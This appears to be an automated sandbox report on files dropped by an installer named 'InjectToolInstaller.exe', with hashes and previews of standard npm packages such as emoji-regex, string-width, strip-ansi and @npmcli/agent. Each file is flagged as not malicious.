Preview:	"use strict";..module.exports = function () {. // https://mths.be/emoji. return /\uD83C\uDFF4\uDB40\uDC67\uDB40\uDC62(?:\uDB40\uDC77\uDB40\uDC6C\uDB40\uDC73\|\uDB40\uDC73\uDB40\uDC63\uDB40\uDC74\|\uDB40\uDC65\uDB40\uDC6E\uDB40\uDC67)\uDB40\uDC7F\|(?:\uD83E\uDDD1\uD83C\uDFFF\u200D\u2764\uFE0F\u200D(?:\uD83D\uDC8B\u200D)?\uD83E\uDDD1\|\uD83D\uDC69\uD83C\uDFFF\u200D\uD83E\uDD1D\u200D(?:\uD83D[\uDC68\uDC69]))(?:\uD83C[\uDFFB-\uDFFE])\|(?:\uD83E\uDDD1\uD83C\uDFFE\u200D\u2764\uFE0F\u200D(?:\uD83D\uDC8B\u200D)?\uD83E\uDDD1\|\uD83D\uDC69\uD83C\uDFFE\u200D\uD83E\uDD1D\u200D(?:\uD83D[\uDC68\uDC69]))(?:\uD83C[\uDFFB-\uDFFD\uDFFF])\|(?:\uD83E\uDDD1\uD83C\uDFFD\u200D\u2764\uFE0F\u200D(?:\uD83D\uDC8B\u200D)?\uD83E\uDDD1\|\uD83D\uDC69\uD83C\uDFFD\u200D\uD83E\uDD1D\u200D(?:\uD83D[\uDC68\uDC69]))(?:\uD83C[\uDFFB\uDFFC\uDFFE\uDFFF])\|(?:\uD83E\uDDD1\uD83C\uDFFC\u200D\u2764\uFE0F\u200D(?:\uD83D\uDC8B\u200D)?\uD83E\uDDD1\|\uD83D\uDC69\uD83C\uDFFC\u200D\uD83E\uDD1D\u200D(?:\uD83D[\uDC68\uDC69]))(?:\uD83C[\uDFFB\uD

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@isaacs\cliui\node_modules\emoji-regex\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1331
Entropy (8bit):	4.857217025358989
Encrypted:	false
SSDEEP:	12:3124pDErf89lJ6as1GioL5p6LuXLObmP9yvqYaGacG1GPee9lFUQIT1WKVPJPeWT:312FfWTLOuXZYdnGylwToYT4VWF
MD5:	4A14D4B54700538E3369C29F7E6F2379
SHA1:	238C48183550D02AB5C0DD37E13D57006DCE640A
SHA-256:	181FA046BDBB7D8958C57DCEF2E63AEA9AF667036E218C7222479A8618375F1A
SHA-512:	D8234B8D250CA8F5A7FC6CA2D37A410824E1F9FD13DECBBE488CD59BF138ADE96F91EB712825539F84245FB6F1A2F784159C8A9D19CA880DC2710661E3282F30
Malicious:	false
Preview:	{. "name": "emoji-regex",. "version": "9.2.2",. "description": "A regular expression to match all Emoji-only symbols as per the Unicode Standard.",. "homepage": "https://mths.be/emoji-regex",. "main": "index.js",. "types": "index.d.ts",. "keywords": [. "unicode",. "regex",. "regexp",. "regular expressions",. "code points",. "symbols",. "characters",. "emoji". ],. "license": "MIT",. "author": {. "name": "Mathias Bynens",. "url": "https://mathiasbynens.be/". },. "repository": {. "type": "git",. "url": "https://github.com/mathiasbynens/emoji-regex.git". },. "bugs": "https://github.com/mathiasbynens/emoji-regex/issues",. "files": [. "LICENSE-MIT.txt",. "index.js",. "index.d.ts",. "RGI_Emoji.js",. "RGI_Emoji.d.ts",. "text.js",. "text.d.ts",. "es2015". ],. "scripts": {. "build": "rm -rf -- es2015; babel src -d .; NODE_ENV=es2015 babel src es2015_types -D -d ./es2015; node script/inject-sequences.js",. "test":

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@isaacs\cliui\node_modules\emoji-regex\text.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (14391)
Category:	dropped
Size (bytes):	14468
Entropy (8bit):	4.0042755628696085
Encrypted:	false
SSDEEP:	96:4TtOjllm4Uh4zutkZyhRA4JUraRFsw7ZpqsFRatj9Fnkz+jmS0WVJK4m1io++Qd2:4VzTgMU4GgawCZleT038/
MD5:	7B33DD38C0C08BF185F5480EFDF9AB90
SHA1:	B3D9D61AD3AB1F87712280265DF367EFF502EF8B
SHA-256:	D1E41C11AA11E125105D14C95D05E1E1ACD3BEDE89429D3A1C12A71450318F88
SHA-512:	22DA641C396F9972B136D4A18EB0747747252CF7D5D89F619A928C5475D79375FBBE42D4E91821102E271EA144F89267FF307CD46494FDF7D6002CE9768B7BD9
Malicious:	false
Preview:	"use strict";..module.exports = function () {. // https://mths.be/emoji. return /\uD83C\uDFF4\uDB40\uDC67\uDB40\uDC62(?:\uDB40\uDC77\uDB40\uDC6C\uDB40\uDC73\|\uDB40\uDC73\uDB40\uDC63\uDB40\uDC74\|\uDB40\uDC65\uDB40\uDC6E\uDB40\uDC67)\uDB40\uDC7F\|(?:\uD83E\uDDD1\uD83C\uDFFF\u200D\u2764\uFE0F\u200D(?:\uD83D\uDC8B\u200D)?\uD83E\uDDD1\|\uD83D\uDC69\uD83C\uDFFF\u200D\uD83E\uDD1D\u200D(?:\uD83D[\uDC68\uDC69]))(?:\uD83C[\uDFFB-\uDFFE])\|(?:\uD83E\uDDD1\uD83C\uDFFE\u200D\u2764\uFE0F\u200D(?:\uD83D\uDC8B\u200D)?\uD83E\uDDD1\|\uD83D\uDC69\uD83C\uDFFE\u200D\uD83E\uDD1D\u200D(?:\uD83D[\uDC68\uDC69]))(?:\uD83C[\uDFFB-\uDFFD\uDFFF])\|(?:\uD83E\uDDD1\uD83C\uDFFD\u200D\u2764\uFE0F\u200D(?:\uD83D\uDC8B\u200D)?\uD83E\uDDD1\|\uD83D\uDC69\uD83C\uDFFD\u200D\uD83E\uDD1D\u200D(?:\uD83D[\uDC68\uDC69]))(?:\uD83C[\uDFFB\uDFFC\uDFFE\uDFFF])\|(?:\uD83E\uDDD1\uD83C\uDFFC\u200D\u2764\uFE0F\u200D(?:\uD83D\uDC8B\u200D)?\uD83E\uDDD1\|\uD83D\uDC69\uD83C\uDFFC\u200D\uD83E\uDD1D\u200D(?:\uD83D[\uDC68\uDC69]))(?:\uD83C[\uDFFB\uD

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@isaacs\cliui\node_modules\string-width\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Java source, ASCII text
Category:	dropped
Size (bytes):	1064
Entropy (8bit):	4.9891161999511775
Encrypted:	false
SSDEEP:	24:GgLScAyY32aEGAybMg5OHqw9cBxr3AZD0hSiw1esSR+Ve6EK:9St2JQ5IqY+xQ5X1A+/
MD5:	E425955CCD341CF2B2B4B95366B687E7
SHA1:	84E24B625A49263B8192B39507002656E64F8302
SHA-256:	4508758772B1F52850B576CA714BBFD6EDB05F8D36492CEAB573DB47F5CD7D84
SHA-512:	258878009E1BBCA7E3F91A2CED8C531DD46BAB19DC26A39E0C8C00CEA92FEDA5663E2D652F3A21EED87593D2F887F16FBB7A6AAC0BF3E91A2843E102F5923059
Malicious:	false
Preview:	import stripAnsi from 'strip-ansi';.import eastAsianWidth from 'eastasianwidth';.import emojiRegex from 'emoji-regex';..export default function stringWidth(string, options = {}) {..if (typeof string !== 'string' \|\| string.length === 0) {...return 0;..}...options = {...ambiguousIsNarrow: true,......options..};...string = stripAnsi(string);...if (string.length === 0) {...return 0;..}...string = string.replace(emojiRegex(), ' ');...const ambiguousCharacterWidth = options.ambiguousIsNarrow ? 1 : 2;..let width = 0;...for (const character of string) {...const codePoint = character.codePointAt(0);....// Ignore control characters...if (codePoint <= 0x1F \|\| (codePoint >= 0x7F && codePoint <= 0x9F)) {....continue;...}....// Ignore combining characters...if (codePoint >= 0x300 && codePoint <= 0x36F) {....continue;...}....const code = eastAsianWidth.eastAsianWidth(character);...switch (code) {....case 'F':....case 'W':.....width += 2;.....break;....case 'A':.....width += ambiguousCharacterWidth;.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@isaacs\cliui\node_modules\string-width\license

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (460)
Category:	dropped
Size (bytes):	1117
Entropy (8bit):	5.079903213409815
Encrypted:	false
SSDEEP:	24:FHr4JHBH0yPP3gtAHw1hl9QHcsUv48Ok4/+dbo3oqxFD:FH8JplPvEDvQHcs5ITc3omFD
MD5:	D5F2A6DD0192DCC7C833E50BB9017337
SHA1:	80674912E3033BE358331910BA27D5812369C2FC
SHA-256:	5C932D88256B4AB958F64A856FA48E8BD1F55BC1D96B8149C65689E0C61789D3
SHA-512:	D1F336FF272BC6B96DC9A04A7D0EF8F02936DD594F514060340478EE575FE01D55FC7A174DF5814A4FAF72C8462B012998ECA7BB898E3F9A3E87205FB9135AF2
Malicious:	false
Preview:	MIT License..Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (https://sindresorhus.com)..Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@isaacs\cliui\node_modules\string-width\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1044
Entropy (8bit):	4.8232740236528695
Encrypted:	false
SSDEEP:	24:l1EheJtkU8KXRJowQ2rxyQVh1lMnLp1szG2P9eaImH:PEcRRJowQ2rx3lMLp1OomH
MD5:	6370FD65C542B20D05BEB70FD94E5AEB
SHA1:	53AE7A1B3953E86624927FEC8421D453D9C88E41
SHA-256:	ADBCB3B95EA29C1F2A91A0AF600FD9136CE408A38622332848BA4630DC473659
SHA-512:	37BE93A008F964CFDD4C92401E8A9B815CE51B6B5C8C711E0FBCABC119235D1F352A26C9D03C4203EF82E696C28606762474DFD5EFC960E6B6DF1AFD47465729
Malicious:	false
Preview:	{.."name": "string-width",.."version": "5.1.2",.."description": "Get the visual width of a string - the number of columns required to display it",.."license": "MIT",.."repository": "sindresorhus/string-width",.."funding": "https://github.com/sponsors/sindresorhus",.."author": {..."name": "Sindre Sorhus",..."email": "sindresorhus@gmail.com",..."url": "https://sindresorhus.com"..},.."type": "module",.."exports": "./index.js",.."engines": {..."node": ">=12"..},.."scripts": {..."test": "xo && ava && tsd"..},.."files": [..."index.js",..."index.d.ts"..],.."keywords": [..."string",..."character",..."unicode",..."width",..."visual",..."column",..."columns",..."fullwidth",..."full-width",..."full",..."ansi",..."escape",..."codes",..."cli",..."command-line",..."terminal",..."console",..."cjk",..."chinese",..."japanese",..."korean",..."fixed-width"..],.."dependencies": {..."eastasianwidth": "^0.2.0",..."emoji-regex": "^9.2.2",..."strip-ansi": "^7.0.1"..},.."devDependencies": {..."ava": "^3.15.0",

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@isaacs\cliui\node_modules\strip-ansi\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Java source, ASCII text
Category:	dropped
Size (bytes):	468
Entropy (8bit):	4.839560087472558
Encrypted:	false
SSDEEP:	12:7ZpIPQCOjYtCibFDljI7jr1keOKah7n0w5gRpAlFJv:bQCib9lU/1keOKaZZqAFh
MD5:	A6FC9AB578293C89852087B7B0D78552
SHA1:	B443533358BE43AE037F23CD250E3352AE1D6029
SHA-256:	C5BB23B3CA69E97DDEFDB76724B1A7936AC18B5E47C3FE3C5391969D6E6D06F8
SHA-512:	D6795F2DDB1CE4DD0BEEC89CEDB564E412183192CBA97B4CA2BAA7BA443638247CDCD87182E4680647D4F30B90C41C361A542B07D3C77EEEC307C4689D76B052
Malicious:	false
Preview:	import ansiRegex from 'ansi-regex';..const regex = ansiRegex();..export default function stripAnsi(string) {..if (typeof string !== 'string') {...throw new TypeError(`Expected a \`string\`, got \`${typeof string}\``);..}...// Even though the regex is global, we don't need to reset the `.lastIndex`..// because unlike `.exec()` and `.test()`, `.replace()` does it automatically..// and doing it manually has a performance penalty...return string.replace(regex, '');.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@isaacs\cliui\node_modules\strip-ansi\license

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (460)
Category:	dropped
Size (bytes):	1117
Entropy (8bit):	5.079903213409815
Encrypted:	false
SSDEEP:	24:FHr4JHBH0yPP3gtAHw1hl9QHcsUv48Ok4/+dbo3oqxFD:FH8JplPvEDvQHcs5ITc3omFD
MD5:	D5F2A6DD0192DCC7C833E50BB9017337
SHA1:	80674912E3033BE358331910BA27D5812369C2FC
SHA-256:	5C932D88256B4AB958F64A856FA48E8BD1F55BC1D96B8149C65689E0C61789D3
SHA-512:	D1F336FF272BC6B96DC9A04A7D0EF8F02936DD594F514060340478EE575FE01D55FC7A174DF5814A4FAF72C8462B012998ECA7BB898E3F9A3E87205FB9135AF2
Malicious:	false
Preview:	MIT License..Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (https://sindresorhus.com)..Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@isaacs\cliui\node_modules\strip-ansi\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.788208456080851
Encrypted:	false
SSDEEP:	24:081EfjTIcvKXRJowQXniQAdYTz1sdHkneayW:08EYpRJowQXniQgYTz1GHknSW
MD5:	A1A0019976C3F4994C816DF2EB411962
SHA1:	323EC71C0CDB2DFDCF717F3E324F0B77981D7C58
SHA-256:	01CEE5E384D1E26843021C1F91BC05ED009E14C2D31C01349A374E64D3416E7D
SHA-512:	59CBF6D8B3E7EFACE2B660FAE651AFBE054A1AA0348F817559FB12CE22CA1648CC9A021196E8F6A6D37AE3D2EB0772D2D40B1E531DB3F3DEB6776A189D167F69
Malicious:	false
Preview:	{.."name": "strip-ansi",.."version": "7.1.0",.."description": "Strip ANSI escape codes from a string",.."license": "MIT",.."repository": "chalk/strip-ansi",.."funding": "https://github.com/chalk/strip-ansi?sponsor=1",.."author": {..."name": "Sindre Sorhus",..."email": "sindresorhus@gmail.com",..."url": "https://sindresorhus.com"..},.."type": "module",.."exports": "./index.js",.."engines": {..."node": ">=12"..},.."scripts": {..."test": "xo && ava && tsd"..},.."files": [..."index.js",..."index.d.ts"..],.."keywords": [..."strip",..."trim",..."remove",..."ansi",..."styles",..."color",..."colour",..."colors",..."terminal",..."console",..."string",..."tty",..."escape",..."formatting",..."rgb",..."256",..."shell",..."xterm",..."log",..."logging",..."command-line",..."text"..],.."dependencies": {..."ansi-regex": "^6.0.1"..},.."devDependencies": {..."ava": "^3.15.0",..."tsd": "^0.17.0",..."xo": "^0.44.0"..}.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@isaacs\cliui\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2164
Entropy (8bit):	4.761396177786696
Encrypted:	false
SSDEEP:	24:cL1foHyAXnti/UIU/YYIzDzviuJqYJAFhDJkt+KSQt2LeggsMl/Ze0teZX9glZvh:chfnAXZYhXTvkqFIMxLYR9gXg1TziitG
MD5:	A5CD1A3E1D5276BC314C376FE1084394
SHA1:	5F8F4C1E3BF1144F3A52C51BF040D843BB2A8B90
SHA-256:	B4F9CC8D09602A487DEA1C227CE24777CDA87E2AD8A29AB9F741214AB78DC065
SHA-512:	50CE6EC1E6EBBCB7B8057FFB114E2ADA81D342118AE37A6F016FE64D8E34662716256C3BF75D71EBAC82FD9D8D6055499539F22E6BDD03C73A39E752965A882A
Malicious:	false
Preview:	{. "name": "@isaacs/cliui",. "version": "8.0.2",. "description": "easily create complex multi-column command-line-interfaces",. "main": "build/index.cjs",. "exports": {. ".": [. {. "import": "./index.mjs",. "require": "./build/index.cjs". },. "./build/index.cjs". ]. },. "type": "module",. "module": "./index.mjs",. "scripts": {. "check": "standardx '*/.ts' && standardx '*/.js' && standardx '*/.cjs'",. "fix": "standardx --fix '*/.ts' && standardx --fix '*/.js' && standardx --fix '*/.cjs'",. "pretest": "rimraf build && tsc -p tsconfig.test.json && cross-env NODE_ENV=test npm run build:cjs",. "test": "c8 mocha ./test/.cjs",. "test:esm": "c8 mocha ./test//.mjs",. "postest": "check",. "coverage": "c8 report --check-coverage",. "precompile": "rimraf build",. "compile": "tsc",. "postcompile": "npm run build:cjs",. "build:cjs": "rollup -c",. "prepare": "npm run compile". },. "repository": "yargs/cl

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@isaacs\string-locale-compare\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	748
Entropy (8bit):	4.9874659390608365
Encrypted:	false
SSDEEP:	12:9FM9ZFICS4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2CKrK2PF3t:9SZFCICCtEmq6s9iOnc4PRnA+KpF3ew
MD5:	90A3CA01A5EFED8B813A81C6C8FA2E63
SHA1:	515EC4469197395143DD4BFE9B1BC4E0D9B6B12A
SHA-256:	05DC4D785AC3A488676D3ED10E901B75AD89DAFCC63F8E66610FD4A39CC5C7E8
SHA-512:	C9D6162BEF9880A5AB6A5AFE96F3EC1BD9DEAD758CA427F9BA2E8E9D9ADAAF5649AAD942F698F39B7A9A437984F8DC09141F3834CD78B03104F81AD908D15B31
Malicious:	false
Preview:	The ISC License..Copyright (c) Isaac Z. Schlueter..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@isaacs\string-locale-compare\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	4.720989963431298
Encrypted:	false
SSDEEP:	12:UtLy4S3keYHZFxH1xpBxELbQ8/36C8OqePYBr2mFF4lM54AYfFv9w626QhJyyTZ9:UMwH7xjcqC8OMBrfTYtv+b6QhJ39Ou
MD5:	3977396BEE816D3A9EDD26083A7B2297
SHA1:	4B294FD8FCEBC309FD7139B3F33344F376BBB08B
SHA-256:	CD6025C8F45932DA9C61FAC350542414CFBF2BAD9F01F9CA78AA84F038E4A390
SHA-512:	C2623995C36BD865D6F44BA00A29AF6160DC69F8B175E9E20B9530DB355ACF51A4610312293D09F2ABC4FB835773A6D6C847EA14A3E8DDF843272D938CE614CA
Malicious:	false
Preview:	const hasIntl = typeof Intl === 'object' && !!Intl.const Collator = hasIntl && Intl.Collator.const cache = new Map()..const collatorCompare = (locale, opts) => {. const collator = new Collator(locale, opts). return (a, b) => collator.compare(a, b).}..const localeCompare = (locale, opts) => (a, b) => a.localeCompare(b, locale, opts)..const knownOptions = [. 'sensitivity',. 'numeric',. 'ignorePunctuation',. 'caseFirst',.]..const { hasOwnProperty } = Object.prototype..module.exports = (locale, options = {}) => {. if (!locale \|\| typeof locale !== 'string'). throw new TypeError('locale required').. const opts = knownOptions.reduce((opts, k) => {. if (hasOwnProperty.call(options, k)) {. opts[k] = options[k]. }. return opts. }, {}). const key = `${locale}\n${JSON.stringify(opts)}`.. if (cache.has(key)). return cache.get(key).. const compare = hasIntl. ? collatorCompare(locale, opts). : localeCompare(locale, opts). cache.set(key, compare).. return compar

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@isaacs\string-locale-compare\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	696
Entropy (8bit):	4.696683408936836
Encrypted:	false
SSDEEP:	12:c1TR1s/GC+6aJjab4iEbmWqT2Nyy4V/PAP1U2M1bIb4FmlZgpfOC0Z:cv15uFPayyUPAP1w10b4FiPZ
MD5:	F2090537182B2E5883272A44DE007C61
SHA1:	9DC38644EA6F125E3B06825FF04DF5EA22F56094
SHA-256:	45B3F486E72A9D0E0279CDA0003713DDE115B7D0D75C4ACFA7129CFFB97E4AB3
SHA-512:	79A58934F5AF286E971032D962A8EAF57266BE04A22F194456B446160EF3CFA20D2B0AD5F21B0D83E061434E02528AC3F66C164DE703F3A11EDD05FE287A71EC
Malicious:	false
Preview:	{. "name": "@isaacs/string-locale-compare",. "version": "1.1.0",. "files": [. "index.js". ],. "main": "index.js",. "description": "Compare strings with Intl.Collator if available, falling back to String.localeCompare otherwise",. "repository": {. "type": "git",. "url": "git+https://github.com/isaacs/string-locale-compare". },. "author": "Isaac Z. Schlueter <i@izs.me> (https://izs.me)",. "license": "ISC",. "scripts": {. "test": "tap",. "snap": "tap",. "preversion": "npm test",. "postversion": "npm publish",. "prepublishOnly": "git push origin --follow-tags". },. "tap": {. "check-coverage": true. },. "devDependencies": {. "tap": "^15.0.9". }.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@npmcli\agent\lib\agents.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5807
Entropy (8bit):	4.543914011544418
Encrypted:	false
SSDEEP:	96:JLfdSXKPCbSmeDl6QS6seIcUmYzH4ZG06Slj0D6+e2x9tdJEiag6DibL:JJSXKPCdwl6QS6FpYzYZG06SlwTxd3aM
MD5:	3EDBB1D7C3470EEBF949997CA9949B97
SHA1:	193D815AA1F38CE500506A6D654A4B1A6536743A
SHA-256:	0A9D06FC14BD78AA7EE59635ED5284F64E571A33B7DA13A5F48D0789307DEA81
SHA-512:	C138FE7D6E177EDD140CA6140F889F2A0283E8C368FC5F79690F376D3AFD63DB576636CC947C502451615CF9410EF8156C5C81594D7EE87A95F8D7744D751C39
Malicious:	false
Preview:	'use strict'..const net = require('net').const tls = require('tls').const { once } = require('events').const timers = require('timers/promises').const { normalizeOptions, cacheOptions } = require('./options').const { getProxy, getProxyAgent, proxyCache } = require('./proxy.js').const Errors = require('./errors.js').const { Agent: AgentBase } = require('agent-base')..module.exports = class Agent extends AgentBase {. #options. #timeouts. #proxy. #noProxy. #ProxyAgent.. constructor (options = {}) {. const { timeouts, proxy, noProxy, ...normalizedOptions } = normalizeOptions(options).. super(normalizedOptions).. this.#options = normalizedOptions. this.#timeouts = timeouts.. if (proxy) {. this.#proxy = new URL(proxy). this.#noProxy = noProxy. this.#ProxyAgent = getProxyAgent(proxy). }. }.. get proxy () {. return this.#proxy ? { url: this.#proxy } : {}. }.. #getProxy (options) {. if (!this.#proxy) {. return. }.. const proxy = getPro

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@npmcli\agent\lib\dns.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1250
Entropy (8bit):	4.667547365437096
Encrypted:	false
SSDEEP:	24:1To/L3NVGH32/pHY68TmvXLvqJFhHX0ocKl4mYqsyr2Y41ozxSEPIKBz:1U/LMypH18y/Lw3IaTrsJ60ExF
MD5:	F7A03D587E16CD4CC9D082FB6EBE2E0F
SHA1:	2A474310F48BC231EFB9EEBA7673C1EC71150391
SHA-256:	58A0ABCFB7AB16ECE73A1FEA304B8CB4539F650C4F2726E2D5980C285A96351B
SHA-512:	F5AEAC656FC0528F647904090564D8A7DC22ABEB07B2DAB0AF04D8C5A6B045C2BDF9419CAA8EE94A8BD450FBABC48EB4361FFF790710C7A14B096557CA0063C4
Malicious:	false
Preview:	'use strict'..const { LRUCache } = require('lru-cache').const dns = require('dns')..// this is a factory so that each request can have its own opts (i.e. ttl).// while still sharing the cache across all requests.const cache = new LRUCache({ max: 50 })..const getOptions = ({. family = 0,. hints = dns.ADDRCONFIG,. all = false,. verbatim = undefined,. ttl = 5 * 60 * 1000,. lookup = dns.lookup,.}) => ({. // hints and lookup are returned since both are top level properties to (net\|tls).connect. hints,. lookup: (hostname, ...args) => {. const callback = args.pop() // callback is always last arg. const lookupOptions = args[0] ?? {}.. const options = {. family,. hints,. all,. verbatim,. ...(typeof lookupOptions === 'number' ? { family: lookupOptions } : lookupOptions),. }.. const key = JSON.stringify({ hostname, ...options }).. if (cache.has(key)) {. const cached = cache.get(key). return process.nextTick(callback, null, ...cached).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@npmcli\agent\lib\errors.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1394
Entropy (8bit):	4.75057275950978
Encrypted:	false
SSDEEP:	24:wF5KktpwlLm/tQTHl2+vtlW8uGGK6ke/SAfXHWlTtlW8uhke+A5NXHWlXBgEdvZQ:FwAT4+HRdq922PJWPy
MD5:	E9887AA65F829642474E034E10CF1A12
SHA1:	33354127DED477A54C9D25F677A0ADEBE45AF151
SHA-256:	F4EE0F8A8AC25830BE4A902246059D260E5254BA9E2E766EEF84972EEB66926D
SHA-512:	664D5422ABDD8ED92FD6C4783A413301A887BB70B3C20783B6890EB23FC1915415842EF4DFAEE7BAFAE4BF9DEA1A9133E7DB9B63C503D6D88B12FF8805EB16CF
Malicious:	false
Preview:	'use strict'..class InvalidProxyProtocolError extends Error {. constructor (url) {. super(`Invalid protocol \`${url.protocol}\` connecting to proxy \`${url.host}\``). this.code = 'EINVALIDPROXY'. this.proxy = url. }.}..class ConnectionTimeoutError extends Error {. constructor (host) {. super(`Timeout connecting to host \`${host}\``). this.code = 'ECONNECTIONTIMEOUT'. this.host = host. }.}..class IdleTimeoutError extends Error {. constructor (host) {. super(`Idle timeout reached for host \`${host}\``). this.code = 'EIDLETIMEOUT'. this.host = host. }.}..class ResponseTimeoutError extends Error {. constructor (request, proxy) {. let msg = 'Response timeout '. if (proxy) {. msg += `from proxy \`${proxy.host}\` `. }. msg += `connecting to host \`${request.host}\``. super(msg). this.code = 'ERESPONSETIMEOUT'. this.proxy = proxy. this.request = request. }.}..class TransferTimeoutError extends Error {. constructor (request, proxy

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@npmcli\agent\lib\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1257
Entropy (8bit):	4.770195190644375
Encrypted:	false
SSDEEP:	24:1ToVtiPYLApeWAgrQJ/oAM6SFF/ryrBhQejKgXQ:1UPiPyApYgMJ/ol6SnryrAuKgg
MD5:	E41DACD9A9F8D7444C7C01C3BB86C52A
SHA1:	26B6D404D602CF44F0E6386DB26836D25764498A
SHA-256:	8D7B321C0EB45D3DDACC78B48448B2ED02AD79284F931D73F4BD0A67D0F5A4DD
SHA-512:	BA6F5667F1AE33AF171D20F601A0D4F9E61597CF7E0C10867DC41C9D8E247AF722E16D60807C96BEBC6F5B238AD97C3A4A6FFA0AB514EBF784CB384E9BBB2B6D
Malicious:	false
Preview:	'use strict'..const { LRUCache } = require('lru-cache').const { normalizeOptions, cacheOptions } = require('./options').const { getProxy, proxyCache } = require('./proxy.js').const dns = require('./dns.js').const Agent = require('./agents.js')..const agentCache = new LRUCache({ max: 20 })..const getAgent = (url, { agent, proxy, noProxy, ...options } = {}) => {. // false has meaning so this can't be a simple truthiness check. if (agent != null) {. return agent. }.. url = new URL(url).. const proxyForUrl = getProxy(url, { proxy, noProxy }). const normalizedOptions = {. ...normalizeOptions(options),. proxy: proxyForUrl,. }.. const cacheKey = cacheOptions({. ...normalizedOptions,. secureEndpoint: url.protocol === 'https:',. }).. if (agentCache.has(cacheKey)) {. return agentCache.get(cacheKey). }.. const newAgent = new Agent(normalizedOptions). agentCache.set(cacheKey, newAgent).. return newAgent.}..module.exports = {. getAgent,. Agent,. // these are expor

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@npmcli\agent\lib\options.js

